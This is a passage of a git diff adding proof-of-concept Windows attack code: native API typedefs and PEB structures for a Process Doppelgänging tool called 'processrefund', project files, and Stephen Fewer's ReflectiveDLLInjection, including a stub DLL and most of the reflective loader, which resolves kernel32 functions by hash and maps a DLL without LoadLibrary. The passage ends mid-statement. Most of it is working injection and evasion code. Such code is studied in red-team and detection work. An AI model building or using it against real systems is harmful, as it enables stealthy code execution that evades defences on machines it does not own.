Flags; + WORD Length; + ULONG TimeStamp; + STRING64 DosPath; +} RTL_DRIVE_LETTER_CURDIR64, *PRTL_DRIVE_LETTER_CURDIR64; +typedef struct _RTL_USER_PROCESS_PARAMETERS_64 +{ + ULONG MaximumLength; + ULONG Length; + ULONG Flags; + ULONG DebugFlags; + UINT64 ConsoleHandle; + ULONG ConsoleFlags; + UINT64 StandardInput; + UINT64 StandardOutput; + UINT64 StandardError; + CURDIR64 CurrentDirectory; + UNICODE_STRING64 DllPath; + UNICODE_STRING64 ImagePathName; + UNICODE_STRING64 CommandLine; + UINT64 Environment; + ULONG StartingX; + ULONG StartingY; + ULONG CountX; + ULONG CountY; + ULONG CountCharsX; + ULONG CountCharsY; + ULONG FillAttribute; + ULONG WindowFlags; + ULONG ShowWindowFlags; + UNICODE_STRING64 WindowTitle; + UNICODE_STRING64 DesktopInfo; + UNICODE_STRING64 ShellInfo; + UNICODE_STRING64 RuntimeData; + RTL_DRIVE_LETTER_CURDIR64 CurrentDirectores[32]; + ULONG EnvironmentSize; +} RTL_USER_PROCESS_PARAMETERS64, *PRTL_USER_PROCESS_PARAMETERS64; + + +typedef struct _CURDIR +{ + UNICODE_STRING DosPath; + HANDLE Handle; +} CURDIR, *PCURDIR; +typedef struct _RTL_DRIVE_LETTER_CURDIR +{ + USHORT Flags; + USHORT Length; + ULONG TimeStamp; + UNICODE_STRING DosPath; +} RTL_DRIVE_LETTER_CURDIR, *PRTL_DRIVE_LETTER_CURDIR; + +typedef struct my_RTL_USER_PROCESS_PARAMETERS +{ + ULONG MaximumLength; + ULONG Length; + + ULONG Flags; + ULONG DebugFlags; + + HANDLE ConsoleHandle; + ULONG ConsoleFlags; + HANDLE StandardInput; + HANDLE StandardOutput; + HANDLE StandardError; + + CURDIR CurrentDirectory; + UNICODE_STRING DllPath; + UNICODE_STRING ImagePathName; + UNICODE_STRING CommandLine; + PVOID Environment; + + ULONG StartingX; + ULONG StartingY; + ULONG CountX; + ULONG CountY; + ULONG CountCharsX; + ULONG CountCharsY; + ULONG FillAttribute; + + ULONG WindowFlags; + ULONG ShowWindowFlags; + UNICODE_STRING WindowTitle; + UNICODE_STRING DesktopInfo; + UNICODE_STRING ShellInfo; + UNICODE_STRING RuntimeData; + RTL_DRIVE_LETTER_CURDIR CurrentDirectories[RTL_MAX_DRIVE_LETTERS]; + + ULONG_PTR EnvironmentSize; + ULONG_PTR EnvironmentVersion; + PVOID PackageDependencyData; + ULONG ProcessGroupId; + ULONG LoaderThreads; +} my_RTL_USER_PROCESS_PARAMETERS, *my_PRTL_USER_PROCESS_PARAMETERS; + +typedef struct _PROCESS_BASIC_INFORMATION64 { + NTSTATUS ExitStatus; + UINT32 Reserved0; + UINT64 PebBaseAddress; + UINT64 AffinityMask; + UINT32 BasePriority; + UINT32 Reserved1; + UINT64 UniqueProcessId; + UINT64 InheritedFromUniqueProcessId; +} PROCESS_BASIC_INFORMATION64; +typedef struct _PEB64 +{ + + union + { + struct + { + BYTE InheritedAddressSpace; + BYTE ReadImageFileExecOptions; + BYTE BeingDebugged; + BYTE BitField; + }; + DWORD64 dummy01; + }; + DWORD64 Mutant; + DWORD64 ImageBaseAddress; + DWORD64 Ldr; + DWORD64 ProcessParameters; + DWORD64 SubSystemData; + DWORD64 ProcessHeap; + DWORD64 FastPebLock; + DWORD64 AtlThunkSListPtr; + DWORD64 IFEOKey; + DWORD64 CrossProcessFlags; + DWORD64 UserSharedInfoPtr; + DWORD SystemReserved; + DWORD AtlThunkSListPtr32; + DWORD64 ApiSetMap; + DWORD64 TlsExpansionCounter; + DWORD64 TlsBitmap; + DWORD TlsBitmapBits[2]; + DWORD64 ReadOnlySharedMemoryBase; + DWORD64 HotpatchInformation; + DWORD64 ReadOnlyStaticServerData; + DWORD64 AnsiCodePageData; + DWORD64 OemCodePageData; + DWORD64 UnicodeCaseTableData; + DWORD NumberOfProcessors; + union + { + DWORD NtGlobalFlag; + DWORD dummy02; + }; + LARGE_INTEGER CriticalSectionTimeout; + DWORD64 HeapSegmentReserve; + DWORD64 HeapSegmentCommit; + DWORD64 HeapDeCommitTotalFreeThreshold; + DWORD64 HeapDeCommitFreeBlockThreshold; + DWORD NumberOfHeaps; + DWORD MaximumNumberOfHeaps; + DWORD64 ProcessHeaps; + DWORD64 GdiSharedHandleTable; + DWORD64 ProcessStarterHelper; + DWORD64 GdiDCAttributeList; + DWORD64 LoaderLock; + DWORD OSMajorVersion; + DWORD OSMinorVersion; + WORD OSBuildNumber; + WORD OSCSDVersion; + DWORD OSPlatformId; + DWORD ImageSubsystem; + DWORD ImageSubsystemMajorVersion; + DWORD64 ImageSubsystemMinorVersion; + DWORD64 ActiveProcessAffinityMask; + DWORD64 GdiHandleBuffer[30]; + DWORD64 PostProcessInitRoutine; + DWORD64 TlsExpansionBitmap; + DWORD TlsExpansionBitmapBits[32]; + DWORD64 SessionId; + ULARGE_INTEGER AppCompatFlags; + ULARGE_INTEGER AppCompatFlagsUser; + DWORD64 pShimData; + DWORD64 AppCompatInfo; + struct _UNICODE_STRING_DWORD64 CSDVersion; + DWORD64 ActivationContextData; + DWORD64 ProcessAssemblyStorageMap; + DWORD64 SystemDefaultActivationContextData; + DWORD64 SystemAssemblyStorageMap; + DWORD64 MinimumStackCommit; + DWORD64 FlsCallback; + struct _LIST_ENTRY_DWORD64 FlsListHead; + DWORD64 FlsBitmap; + DWORD FlsBitmapBits[4]; + DWORD64 FlsHighIndex; + DWORD64 WerRegistrationData; + DWORD64 WerShipAssertPtr; + DWORD64 pContextData; + DWORD64 pImageHeaderHash; + DWORD64 TracingFlags; + DWORD64 CsrServerReadOnlySharedMemoryBase; +} PEB64; + + + + + + +typedef +NTSTATUS(WINAPI *pfnNtWow64QueryInformationProcess64) +(HANDLE ProcessHandle, UINT32 ProcessInformationClass, + PVOID ProcessInformation, UINT32 ProcessInformationLength, + UINT32* ReturnLength); + +typedef +NTSTATUS(WINAPI *pfnNtWow64ReadVirtualMemory64) +(HANDLE ProcessHandle, PVOID64 BaseAddress, + PVOID BufferData, UINT64 BufferLength, + PUINT64 ReturnLength); + +typedef +NTSTATUS(WINAPI *pfnNtQueryInformationProcess) +(HANDLE ProcessHandle, ULONG ProcessInformationClass, + PVOID ProcessInformation, UINT32 ProcessInformationLength, + UINT32* ReturnLength); +typedef NTSTATUS(NTAPI *NtResumeThread)( + _In_ HANDLE ThreadHandle, + _Out_opt_ PULONG SuspendCount + ); + +typedef NTSTATUS(NTAPI *my_NtQueryInformationProcess)( + IN HANDLE ProcessHandle, + IN PROCESSINFOCLASS ProcessInformationClass, + OUT PVOID ProcessInformation, + IN ULONG ProcessInformationLength, + OUT PULONG ReturnLength OPTIONAL + ); +typedef NTSTATUS(NTAPI *my_NtWow64QueryInformationProcess64) +( + IN HANDLE ProcessHandle, + IN ULONG ProcessInformationClass, + OUT PVOID ProcessInformation64, + IN ULONG Length, + OUT PULONG ReturnLength OPTIONAL + ); + +typedef NTSTATUS(NTAPI *RtlCreateProcessParametersEx)( + _Out_ my_PRTL_USER_PROCESS_PARAMETERS *pProcessParameters, + _In_ PUNICODE_STRING ImagePathName, + _In_opt_ PUNICODE_STRING DllPath, + _In_opt_ PUNICODE_STRING CurrentDirectory, + _In_opt_ PUNICODE_STRING CommandLine, + _In_opt_ PVOID Environment, + _In_opt_ PUNICODE_STRING WindowTitle, + _In_opt_ PUNICODE_STRING DesktopInfo, + _In_opt_ PUNICODE_STRING ShellInfo, + _In_opt_ PUNICODE_STRING RuntimeData, + _In_ ULONG Flags // pass RTL_USER_PROC_PARAMS_NORMALIZED to keep parameters normalized + ); + +typedef NTSTATUS(NTAPI *NtCreateThreadEx)( + OUT PHANDLE hThread, + IN ACCESS_MASK DesiredAccess, + IN LPVOID ObjectAttributes, + IN HANDLE ProcessHandle, + IN LPTHREAD_START_ROUTINE lpStartAddress, + IN LPVOID lpParameter, + IN BOOL CreateSuspended, + IN DWORD StackZeroBits, + IN DWORD SizeOfStackCommit, + IN DWORD SizeOfStackReserve, + OUT LPVOID lpBytesBuffer + ); + + +typedef NTSTATUS(NTAPI *NtCreateSection)( + _Out_ PHANDLE SectionHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ PLARGE_INTEGER MaximumSize, + _In_ ULONG SectionPageProtection, + _In_ ULONG AllocationAttributes, + _In_opt_ HANDLE FileHandle + ); + + +typedef NTSTATUS(NTAPI *NtCreateProcessEx) +( + OUT PHANDLE ProcessHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, + IN HANDLE ParentProcess, + IN ULONG Flags, + IN HANDLE SectionHandle OPTIONAL, + IN HANDLE DebugPort OPTIONAL, + IN HANDLE ExceptionPort OPTIONAL, + IN BOOLEAN InJob + ); +typedef VOID (NTAPI *my_RtlInitUnicodeString)( + _Out_ PUNICODE_STRING DestinationString, + _In_opt_ PCWSTR SourceString +); +typedef POBJECT_ATTRIBUTES(NTAPI *BaseFormatObjectAttributes)(OUT POBJECT_ATTRIBUTES ObjectAttributes, + IN PSECURITY_ATTRIBUTES SecurityAttributes OPTIONAL, + IN PUNICODE_STRING ObjectName, + OUT PDWORD NumberOfBytes); + +// +// NtCreateProcessEx flags +// +#define PS_REQUEST_BREAKAWAY 1 +#define PS_NO_DEBUG_INHERIT 2 +#define PS_INHERIT_HANDLES 4 +#define PS_UNKNOWN_VALUE 8 +#define PS_ALL_FLAGS PS_REQUEST_BREAKAWAY |PS_NO_DEBUG_INHERIT |PS_INHERIT_HANDLES | PS_UNKNOWN_VALUE + diff --git a/Win32/Proof of Concepts/ProcessDoppelgänging/processrefund/processrefund.vcxproj b/Win32/Proof of Concepts/ProcessDoppelgänging/processrefund/processrefund.vcxproj new file mode 100644 index 00000000..5a5d9c0a --- /dev/null +++ b/Win32/Proof of Concepts/ProcessDoppelgänging/processrefund/processrefund.vcxproj @@ -0,0 +1,132 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + {DA9D5E53-6160-4B44-A770-903C8C4C621D} + processrefund + 8.1 + + + + Application + true + v140 + MultiByte + + + Application + false + v140 + true + MultiByte + + + Application + true + v140 + MultiByte + + + Application + false + v140 + true + MultiByte + + + + + + + + + + + + + + + + + + + + + + + Level3 + Disabled + true + MultiThreadedDebug + + + kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;KtmW32.lib;%(AdditionalDependencies) + false + false + true + + + + + Level3 + Disabled + true + MultiThreadedDebug + + + kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;ktmw32.lib;%(AdditionalDependencies) + + + + + Level3 + MaxSpeed + true + true + true + + + true + true + + + + + Level3 + MaxSpeed + true + true + true + + + true + true + + + + + + + + + + + + \ No newline at end of file diff --git a/Win32/Proof of Concepts/ProcessDoppelgänging/processrefund/processrefund.vcxproj.filters b/Win32/Proof of Concepts/ProcessDoppelgänging/processrefund/processrefund.vcxproj.filters new file mode 100644 index 00000000..d50100d8 --- /dev/null +++ b/Win32/Proof of Concepts/ProcessDoppelgänging/processrefund/processrefund.vcxproj.filters @@ -0,0 +1,27 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;hm;inl;inc;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + Source Files + + + + + Header Files + + + \ No newline at end of file diff --git a/Win32/Proof of Concepts/ReflectiveDLLInjection/ReadMe.txt b/Win32/Proof of Concepts/ReflectiveDLLInjection/ReadMe.txt new file mode 100644 index 00000000..62f0af21 --- /dev/null +++ b/Win32/Proof of Concepts/ReflectiveDLLInjection/ReadMe.txt @@ -0,0 +1,3 @@ +Save ReflectiveDLLInjection to load dll no need to call loadlibrary. + +https://github.com/stephenfewer/ReflectiveDLLInjection \ No newline at end of file diff --git a/Win32/Proof of Concepts/ReflectiveDLLInjection/dll/reflective_dll.sln b/Win32/Proof of Concepts/ReflectiveDLLInjection/dll/reflective_dll.sln new file mode 100644 index 00000000..c667f6a3 --- /dev/null +++ b/Win32/Proof of Concepts/ReflectiveDLLInjection/dll/reflective_dll.sln @@ -0,0 +1,20 @@ + +Microsoft Visual Studio Solution File, Format Version 11.00 +# Visual Studio 2010 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "reflective_dll", "reflective_dll.vcxproj", "{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Win32 = Debug|Win32 + Release|Win32 = Release|Win32 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|Win32.ActiveCfg = Release|Win32 + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|Win32.Build.0 = Release|Win32 + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|Win32.ActiveCfg = Release|Win32 + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|Win32.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/Win32/Proof of Concepts/ReflectiveDLLInjection/dll/reflective_dll.vcxproj b/Win32/Proof of Concepts/ReflectiveDLLInjection/dll/reflective_dll.vcxproj new file mode 100644 index 00000000..dc17fc0d --- /dev/null +++ b/Win32/Proof of Concepts/ReflectiveDLLInjection/dll/reflective_dll.vcxproj @@ -0,0 +1,193 @@ + + + + + Debug + Win32 + + + Debug + x64 + + + Release + Win32 + + + Release + x64 + + + + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949} + reflective_dll + Win32Proj + + + + DynamicLibrary + MultiByte + true + + + DynamicLibrary + Unicode + + + DynamicLibrary + MultiByte + false + + + DynamicLibrary + Unicode + + + + + + + + + + + + + + + + + + + <_ProjectFileVersion>10.0.30319.1 + $(SolutionDir)$(Configuration)\ + $(Configuration)\ + true + $(SolutionDir)$(Platform)\$(Configuration)\ + $(Platform)\$(Configuration)\ + true + $(SolutionDir)$(Configuration)\ + $(Configuration)\ + false + $(SolutionDir)$(Platform)\$(Configuration)\ + $(Platform)\$(Configuration)\ + false + AllRules.ruleset + + + AllRules.ruleset + + + AllRules.ruleset + + + AllRules.ruleset + + + + + + Disabled + WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;%(PreprocessorDefinitions) + true + EnableFastChecks + MultiThreadedDebugDLL + + + Level3 + EditAndContinue + + + true + Windows + MachineX86 + + + + + X64 + + + Disabled + WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;%(PreprocessorDefinitions) + true + EnableFastChecks + MultiThreadedDebugDLL + + + Level3 + ProgramDatabase + + + true + Windows + MachineX64 + + + + + MaxSpeed + OnlyExplicitInline + true + WIN32;NDEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions) + MultiThreaded + true + + + Level3 + ProgramDatabase + + + true + Windows + true + true + MachineX86 + + + copy ..\Release\reflective_dll.dll ..\bin\ + + + + + X64 + + + MaxSpeed + OnlyExplicitInline + true + Size + false + WIN64;NDEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;_WIN64;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions) + MultiThreaded + true + + + Level3 + ProgramDatabase + CompileAsCpp + + + $(OutDir)$(ProjectName).x64.dll + true + Windows + true + true + MachineX64 + + + copy $(OutDir)$(ProjectName).x64.dll ..\bin\ + + + + + + + + + + + + + + \ No newline at end of file diff --git a/Win32/Proof of Concepts/ReflectiveDLLInjection/dll/reflective_dll.vcxproj.filters b/Win32/Proof of Concepts/ReflectiveDLLInjection/dll/reflective_dll.vcxproj.filters new file mode 100644 index 00000000..de491b92 --- /dev/null +++ b/Win32/Proof of Concepts/ReflectiveDLLInjection/dll/reflective_dll.vcxproj.filters @@ -0,0 +1,29 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hpp;hxx;hm;inl;inc;xsd + + + + + Source Files + + + Source Files + + + + + Header Files + + + Header Files + + + \ No newline at end of file diff --git a/Win32/Proof of Concepts/ReflectiveDLLInjection/dll/src/ReflectiveDLLInjection.h b/Win32/Proof of Concepts/ReflectiveDLLInjection/dll/src/ReflectiveDLLInjection.h new file mode 100644 index 00000000..ac01be24 --- /dev/null +++ b/Win32/Proof of Concepts/ReflectiveDLLInjection/dll/src/ReflectiveDLLInjection.h @@ -0,0 +1,51 @@ +//===============================================================================================// +// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without modification, are permitted +// provided that the following conditions are met: +// +// * Redistributions of source code must retain the above copyright notice, this list of +// conditions and the following disclaimer. +// +// * Redistributions in binary form must reproduce the above copyright notice, this list of +// conditions and the following disclaimer in the documentation and/or other materials provided +// with the distribution. +// +// * Neither the name of Harmony Security nor the names of its contributors may be used to +// endorse or promote products derived from this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR +// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND +// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +// POSSIBILITY OF SUCH DAMAGE. +//===============================================================================================// +#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H +#define _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H +//===============================================================================================// +#define WIN32_LEAN_AND_MEAN +#include + +// we declare some common stuff in here... + +#define DLL_QUERY_HMODULE 6 + +#define DEREF( name )*(UINT_PTR *)(name) +#define DEREF_64( name )*(DWORD64 *)(name) +#define DEREF_32( name )*(DWORD *)(name) +#define DEREF_16( name )*(WORD *)(name) +#define DEREF_8( name )*(BYTE *)(name) + +typedef ULONG_PTR (WINAPI * REFLECTIVELOADER)( VOID ); +typedef BOOL (WINAPI * DLLMAIN)( HINSTANCE, DWORD, LPVOID ); + +#define DLLEXPORT __declspec( dllexport ) + +//===============================================================================================// +#endif +//===============================================================================================// diff --git a/Win32/Proof of Concepts/ReflectiveDLLInjection/dll/src/ReflectiveDll.c b/Win32/Proof of Concepts/ReflectiveDLLInjection/dll/src/ReflectiveDll.c new file mode 100644 index 00000000..db3abb7e --- /dev/null +++ b/Win32/Proof of Concepts/ReflectiveDLLInjection/dll/src/ReflectiveDll.c @@ -0,0 +1,32 @@ +//===============================================================================================// +// This is a stub for the actuall functionality of the DLL. +//===============================================================================================// +#include "ReflectiveLoader.h" + +// Note: REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR and REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN are +// defined in the project properties (Properties->C++->Preprocessor) so as we can specify our own +// DllMain and use the LoadRemoteLibraryR() API to inject this DLL. + +// You can use this value as a pseudo hinstDLL value (defined and set via ReflectiveLoader.c) +extern HINSTANCE hAppInstance; +//===============================================================================================// +BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved ) +{ + BOOL bReturnValue = TRUE; + switch( dwReason ) + { + case DLL_QUERY_HMODULE: + if( lpReserved != NULL ) + *(HMODULE *)lpReserved = hAppInstance; + break; + case DLL_PROCESS_ATTACH: + hAppInstance = hinstDLL; + MessageBoxA( NULL, "Hello from DllMain!", "Reflective Dll Injection", MB_OK ); + break; + case DLL_PROCESS_DETACH: + case DLL_THREAD_ATTACH: + case DLL_THREAD_DETACH: + break; + } + return bReturnValue; +} \ No newline at end of file diff --git a/Win32/Proof of Concepts/ReflectiveDLLInjection/dll/src/ReflectiveLoader.c b/Win32/Proof of Concepts/ReflectiveDLLInjection/dll/src/ReflectiveLoader.c new file mode 100644 index 00000000..662b1663 --- /dev/null +++ b/Win32/Proof of Concepts/ReflectiveDLLInjection/dll/src/ReflectiveLoader.c @@ -0,0 +1,496 @@ +//===============================================================================================// +// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without modification, are permitted +// provided that the following conditions are met: +// +// * Redistributions of source code must retain the above copyright notice, this list of +// conditions and the following disclaimer. +// +// * Redistributions in binary form must reproduce the above copyright notice, this list of +// conditions and the following disclaimer in the documentation and/or other materials provided +// with the distribution. +// +// * Neither the name of Harmony Security nor the names of its contributors may be used to +// endorse or promote products derived from this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR +// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND +// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +// POSSIBILITY OF SUCH DAMAGE. +//===============================================================================================// +#include "ReflectiveLoader.h" +//===============================================================================================// +// Our loader will set this to a pseudo correct HINSTANCE/HMODULE value +HINSTANCE hAppInstance = NULL; +//===============================================================================================// +#pragma intrinsic( _ReturnAddress ) +// This function can not be inlined by the compiler or we will not get the address we expect. Ideally +// this code will be compiled with the /O2 and /Ob1 switches. Bonus points if we could take advantage of +// RIP relative addressing in this instance but I dont believe we can do so with the compiler intrinsics +// available (and no inline asm available under x64). +__declspec(noinline) ULONG_PTR caller( VOID ) { return (ULONG_PTR)_ReturnAddress(); } +//===============================================================================================// + +// Note 1: If you want to have your own DllMain, define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN, +// otherwise the DllMain at the end of this file will be used. + +// Note 2: If you are injecting the DLL via LoadRemoteLibraryR, define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR, +// otherwise it is assumed you are calling the ReflectiveLoader via a stub. + +// This is our position independent reflective DLL loader/injector +#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR +DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( LPVOID lpParameter ) +#else +DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( VOID ) +#endif +{ + // the functions we need + LOADLIBRARYA pLoadLibraryA = NULL; + GETPROCADDRESS pGetProcAddress = NULL; + VIRTUALALLOC pVirtualAlloc = NULL; + NTFLUSHINSTRUCTIONCACHE pNtFlushInstructionCache = NULL; + + USHORT usCounter; + + // the initial location of this image in memory + ULONG_PTR uiLibraryAddress; + // the kernels base address and later this images newly loaded base address + ULONG_PTR uiBaseAddress; + + // variables for processing the kernels export table + ULONG_PTR uiAddressArray; + ULONG_PTR uiNameArray; + ULONG_PTR uiExportDir; + ULONG_PTR uiNameOrdinals; + DWORD dwHashValue; + + // variables for loading this image + ULONG_PTR uiHeaderValue; + ULONG_PTR uiValueA; + ULONG_PTR uiValueB; + ULONG_PTR uiValueC; + ULONG_PTR uiValueD; + ULONG_PTR uiValueE; + + // STEP 0: calculate our images current base address + + // we will start searching backwards from our callers return address. + uiLibraryAddress = caller(); + + // loop through memory backwards searching for our images base address + // we dont need SEH style search as we shouldnt generate any access violations with this + while( TRUE ) + { + if( ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE ) + { + uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; + // some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'), + // we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems. + if( uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024 ) + { + uiHeaderValue += uiLibraryAddress; + // break if we have found a valid MZ/PE header + if( ((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE ) + break; + } + } + uiLibraryAddress--; + } + + // STEP 1: process the kernels exports for the functions our loader needs... + + // get the Process Enviroment Block +#ifdef WIN_X64 + uiBaseAddress = __readgsqword( 0x60 ); +#else +#ifdef WIN_X86 + uiBaseAddress = __readfsdword( 0x30 ); +#else WIN_ARM + uiBaseAddress = *(DWORD *)( (BYTE *)_MoveFromCoprocessor( 15, 0, 13, 0, 2 ) + 0x30 ); +#endif +#endif + + // get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx + uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr; + + // get the first entry of the InMemoryOrder module list + uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink; + while( uiValueA ) + { + // get pointer to current modules name (unicode string) + uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer; + // set bCounter to the length for the loop + usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length; + // clear uiValueC which will store the hash of the module name + uiValueC = 0; + + // compute the hash of the module name... + do + { + uiValueC = ror( (DWORD)uiValueC ); + // normalize to uppercase if the madule name is in lowercase + if( *((BYTE *)uiValueB) >= 'a' ) + uiValueC += *((BYTE *)uiValueB) - 0x20; + else + uiValueC += *((BYTE *)uiValueB); + uiValueB++; + } while( --usCounter ); + + // compare the hash with that of kernel32.dll + if( (DWORD)uiValueC == KERNEL32DLL_HASH ) + { + // get this modules base address + uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase; + + // get the VA of the modules NT Header + uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; + + // uiNameArray = the address of the modules export directory entry + uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; + + // get the VA of the export directory + uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress ); + + // get the VA for the array of name pointers + uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames ); + + // get the VA for the array of name ordinals + uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals ); + + usCounter = 3; + + // loop while we still have imports to find + while( usCounter > 0 ) + { + // compute the hash values for this function name + dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) ); + + // if we have found a function we want we get its virtual address + if( dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH ) + { + // get the VA for the array of addresses + uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions ); + + // use this functions name ordinal as an index into the array of name pointers + uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) ); + + // store this functions VA + if( dwHashValue == LOADLIBRARYA_HASH ) + pLoadLibraryA = (LOADLIBRARYA)( uiBaseAddress + DEREF_32( uiAddressArray ) ); + else if( dwHashValue == GETPROCADDRESS_HASH ) + pGetProcAddress = (GETPROCADDRESS)( uiBaseAddress + DEREF_32( uiAddressArray ) ); + else if( dwHashValue == VIRTUALALLOC_HASH ) + pVirtualAlloc = 